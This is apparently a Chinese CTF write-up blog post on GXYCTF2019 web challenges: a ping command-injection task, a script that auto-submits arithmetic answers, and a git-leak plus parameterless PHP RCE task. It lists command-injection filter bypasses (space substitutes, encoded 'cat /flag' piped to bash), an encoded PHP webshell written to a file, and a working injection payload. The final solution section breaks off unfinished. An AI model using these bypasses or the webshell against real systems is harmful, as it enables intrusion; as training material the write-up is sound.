[GXYCTF2019]webhhhh

Ping Ping Ping

从题目就可以看出来大概跟命令执行有关,先试一下ping 127.0.0.1,能回显。

命令执行的方法一般是加上管道符或者分号,试试管道符127.0.0.1|ls

有两个文件夹index.phpflag.php,试着打开它们。

呜呜呜好凶哦,提示为过滤了空格。

命令分隔、执行多条命令

  • &:表示将任务放在后台执行。

  • &&:当在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。

  • |:表示管道,上一条命令的输出,作为下一条命令的参数。

  • ||:只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。

  • :多行语句用换行区分代码块,单行语句一般要用到分号来区分代码块。

linux命令中的常见绕过方法

1.空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS

2.花括号

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}

3.黑名单绕过

拼接绕过:a=l;b=s;$a$b

编码绕过:cat /flag可以用如下编码后表示

  • base64:echo “Y2F0IC9mbGFn”|base64-d|bash

  • hex:echo “636174202f666c6167” | xxd -r -p|bash

  • oct:$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”)

    ​ {printf,”\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”}|$0

    还可以用这样的方法来写shell 如:${printf,”\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76”} ->1.php

单引号、双引号绕过:ca’’t flag、cat” flag。

反斜杠绕过:ca\t fl\ag

4.通配符过滤

[…]:匹配范围中任何一个字符 cat fl[abc]g.php

[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php

{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php

解题

看了一下源码,这道题过滤了众多标点,空格,bash,包括flag的贪婪匹配。因此尝试用拼接绕过,payload为

?ip=127.0.0.1;a=l;b=ag;cat$IFSf$a$b.php

# StrongestMind

写脚本自动提交答案

from requests import *
import re

url = "http://204fa602-0a0a-45d3-9b26-3c9348ccf6e9.node3.buuoj.cn/index.php"
s = session()
rr = re.compile(r"[0-9]+ [+|-] [0-9]+")

r = s.get(url)
r.encoding = "utf-8"
data = {"answer":eval(rr.findall(r.text)[0])}
r = s.post(url,data=data)

for i in range(1000):
answer = eval(rr.findall(r.text)[0])
data = { "answer" : answer }
r = s.post( url , data=data)
r.encoding = "utf-8"
print('[+%d]:'%(i) + str(answer))

print(r.text)

禁止套娃

打开题目,发现什么也没有qaq,源代码也没用任何东西。

因此我们拿工具扫一扫目录。

扫出/.git,是git源码泄露,再拿GitHack还原源码。

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

分析源码

看源码这意思,flag应该是在flag.php里的,那我们访问下flag.php试试。

无回显。再分析下源码,大致意思就是我们需要传入命令到exp中,让eval执行我们的命令。

接下来挨个分析源码中的if条件:

1.传入的exp不能带有data://、filter://、php://、phar://,因此不能使用伪协议了。

2.preg_replace主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。

3.(?R)引用当前表达式,后面加了?递归调用。因此只能匹配通过无参数的函数。

4.过滤掉了et/na/info等关键字,因此很多函数也没办法用了。

这就是大家口中典型的无参数RCE了。

无参数RCE

如果存在这样的源码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', NULL, $_GET['exp'])){
eval($_GET['exp'])
}

那我们将无法直接使用参数,因为无法通过正则校验/[^\W]+\((?R)?\)/

也就是说,我们只能执行这样的函数:

a();
a(b(c()));

解题

看大佬的博客似乎无参数RCE的解决思路比较多,我再遇到个这样的题目就总结一下。

本题是

Author: Neorah
Link: https://neorah.me/ctf/GXYCTF2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.